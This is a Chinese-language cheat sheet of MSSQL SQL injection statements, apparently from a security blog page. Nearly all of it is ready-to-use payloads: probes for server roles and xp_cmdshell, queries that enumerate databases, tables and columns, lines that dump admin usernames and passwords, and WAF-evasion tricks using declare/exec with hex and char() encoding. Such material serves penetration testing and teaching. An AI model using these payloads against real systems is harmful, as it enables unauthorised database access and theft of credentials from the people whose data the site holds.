MSSQL注入语句总结
目录:
- 基础语句
- 注入点权限判断
- 获取数据库
- 获取指定数据库中的表的列的数据库
- 判断数据库级别的角色
- SQL特性:
关于mssql的注入语句,跟mysql也差不了多少,都是从information_scheam库中获取各种数据。
基础语句
select ***://查询指令
@@version // 数据库版本
system_user //系统用户名
suser_sname() //查出当前操作数据库的登入名,一般和触发器一起用来监控是谁对表做了操作
user //获取当前数据库用户名
db_name() // 当前数据库名 其中db_name(N)可以来遍历其他数据库
db_name(7) //查询库名,1-6为系统库,7开始为其他库
(select host_name()) //主机名
;select user //查询是否支持多语句
and exists(select * from sysobjects) //确实目标是否真的为mssql数据库,页面返回正常则是**
and exists(select username from manage) // 猜解字段
注入点权限判断
- and 1=(select is_srvrolemember(‘sysadmin’)) //判断是否是系统管理员
and 1=(select is_srvrolemember(‘db_owner’)) //判断是否是库权限
and 1=(select is_srvrolemember(‘public’)) //判断是否为public权限
(select count(*) from master.dbo.sysobjects where xtype=‘X’ and name=‘xp_cmdshell’)
//查询xp_cmdshell,1为存在(select name from master.dbo.sysdatabases where dbid=7)
//修改dbid数值,查询库名,1-6为系统库
获取数据库
(该语句是一次性获取全部数据库的,且语句只适合>=2005,两条语句可供选择使用)
and 1=(select quotename(name) from master…sysdatabases FOR XML PATH(’’))–
and 1=(select ‘|’%2bname%2b’|’ from master…sysdatabases FOR XML PATH(’’))–
获取指定数据库中的表的列的数据库
逐条爆指定表的所有字段的数据(只限于mssql2005及以上版本):
and 1=(select top 1 * from 指定数据库…指定表名 where排除条件 FOR XML PATH(’’))–
一次性爆N条所有字段的数据(只限于mssql2005及以上版本):
and 1=(select top N * from 指定数据库…指定表名 FOR XML PATH(’’))–
注:
第一条语句:and 1=(select top 1 * from 指定数据库…指定表名 FOR XML PATH(’’))–
加上where条件筛选结果出来会更加好,如:where and name like ‘%user%’ 就会筛选出含有user关键词的出来,用在筛选表段时很不错。
注入语句可以用char()表示,以下是统计下总共有多少个库
(CHAR(58)+CHAR(58)+(SELECT top 1 CAST(COUNT([name]) AS nvarchar(4000)) FROM [master]…[sysdatabases] )+CHAR(58)+CHAR(58))
查询多条数据可以使用%2B 也就是加号,如果语句中有+号报错,可以url编码成%2B
select null,name%2Bpass,null from info
判断数据库级别的角色
- select IS_MEMBER(‘db_owner’) //查看当前角色是否为db_ownwer
(select top 1 name from sysobjects where xtype=‘U’) //查询当前库第一个表名
(select top 1 table_name from master.information_schema.tables)
//查询master库第一个表名(select top 1 name from bbs.dbo.sysobjects where xtype=‘U’)
//查询bbs库第一个表名(SELECT DISTINCT top 1 TABLE_NAME FROM (SELECT DISTINCT top 1 TABLE_NAME FROM riseyour_availbgur.information_schema.TABLES ORDER BY TABLE_NAME ASC) sq ORDER BY TABLE_NAME DESC)
//假设你在当前库中并没有看到管理表,这时不妨尝试跨库查,前提是你要有权限才行(select top 1 name from sysobjects where xtype=‘U’ and name not in (‘表名1’,‘表名2’)) //查询其他表
(select top 1 table_name from information_schema.tables where table_name not in (‘表名1’,‘表名2’)) //查询其他表
(select name from sysobjects where xtype=‘U’ FOR XML PATH(’’)) //快速查询所有表
(select ‘|’%2bname%2b’|’ from sysobjects where xtype=‘U’ FOR XML PATH(’’)) //快速查询所有表
(select top 1 name from syscolumns where id=object_id(‘admin’)) //查询当前库admin表的第一个列名
(select top 1 name from syscolumns where id=object_id(‘admin’) and name not in(‘列名1’,‘列名2’) //查询当前库admin表的其他列名
(select top 1 column_name from information_schema.columns where table_name=‘admin’ and column_name not in(‘列名1’,‘列名2’))
//查询当前库admin表的其他列名(select name from syscolumns where id=object_id(‘admin’) FOR XML PATH(’’)) //快速查询所有列
(select top 1 password from bbs.dbo.admin) //查询bbs库admin表password列的第一个值
(select top 1 password from admin where password not in (‘值1’,‘值2’)) //查询其他值
(select password+username from admin FOR XML PATH(’’)) //快速查询所有值
(select top 1 name from sysobjects where xtype=‘U’ and name not in(select top 0 name from sysobjects where xtype=‘u’))
//变化0来快速查询(select top 0 name from 表名) //变化0来快速查询
SQL特性:
mssql空白符,%01-%20都为空白符,--和/**/为注释,%00也可充当注释符
引进一个declare 函数,他是mssql声明局部变量的函数,我们经常用它来绕过waf对一些关键词的拦截
- select * from admin where id =1;declare @a nvarchar(2000) set @a=‘select convert(int,@@version)’ exec(@a) --
堆叠注入,使用declare 和exec进行无select注入
- declare @s varchar(2000) set @s=0x73656C6563742031 exec(@s)
declare定义变量 set设置变量值 exec执行变量
变量的值是支持hex和ascii码的,当过滤引号我们就可以这么用
避免使用引号
(select top 1 name from syscolumns where id=object_id(‘admin’))
(select top 1 name from syscolumns where id=object_id(char(97)+char(100)+char(109)+char(105)+char(110)))
MSSQL注入语句总结相关推荐
- concat mysql sql注入_sql注入-mysql注入基础及常用注入语句
最近在教学中,关于SQL注入,总发现学生理解起来有些难度,其实主要的原因是对各类数据库以及SQL语句不熟悉,今天先介绍mysql注入需要掌握的基础, Mysql内置information_schema ...
- ASP+MSSQL注入工具 web版 beta 3 final release
ASP+MSSQL注入工具 web版 beta 3 final release 2007-10-01 12:17:14 标签:ASP web MSSQL [推送到技术圈] 文章作者:MIKA[EST] ...
- mssql注入和mysql注入_mssql手工注入
mssql注入是针对于sql server数据库的 sql server数据库和mysql数据库是有所区别的,语句命令之类的可自行百度. 平台:i春秋 内容:mssql手工注入 找注入点 点击test ...
- ASPX+MSSQL注入
MSSQL三个关键系统表: 1.master.dbo.sysdatabases系统表:该表位于master数据库中 关键字段:name:库的名字 dbid:库的id(dbid从1到5是系统库) 2. ...
- mysql注入语句解释,MYSQL注入语句实用精解
MYSQL注入语句实用精解 只讲字符型. order by XX Union select ..... 1' UNION SELECT 1,CONCAT(user(),0x3a,database(), ...
- sql注入语句示例大全_SQL Order By语句:示例语法
sql注入语句示例大全 Order By is a SQL command that lets you sort the resulting output from a SQL query. Orde ...
- sql注入语句示例大全_SQL Group By语句用示例语法解释
sql注入语句示例大全 GROUP BY gives us a way to combine rows and aggregate data. GROUP BY为我们提供了一种合并行和汇总数据的方法. ...
- 最详细的SQL注入语句
最详细的SQL注入语句相关的命令整理 1. 用^转义字符来写ASP(一句话木马)文件的方法: http://192.168.1.5/display.asp?keyno=1881;exec ...
- MSSQL注入手工注入mssql提权
mssql数据库 mssql数据库相比mysql数据库本质上的框架是差不多的,使用的增,删,改,查命令是互相通的,mysql中使用的函数在mssql中有些会起不到作用点. MSSQL数据库的基本知识 ...
最新文章
- Python 语法小知识
- 恢复 root 本地无权限 Access denied for user 'root'@'localhost' (using password: NO)
- oracle--rowid
- 第一百四十五节,JavaScript,同步动画
- PyTorch Softmax
- J2EE项目架构最佳实践
- 网络异步编程(C#)团购课
- php flash斗地主,flash斗地主
- php 阿里短信接口
- APP在推广之渠道为王(二 )
- 生活随记 - 火星梦
- python-return_全局局部变量_函数名用法_函数嵌套
- 世界上最复杂的函数_世界上最伟大的十大公式,你都知道哪些?
- 关于DANet注意力机制
- 菜鸟实现 PHP 二阶、三阶行列式计算和矩阵运算的加、减、乘
- 【距离产生美xp主题】_8.30
- 类select下拉:多选+搜索
- Linux chown命令学习
- HTML网页设计基础概念
- Unity实战(3):pureMVC框架应用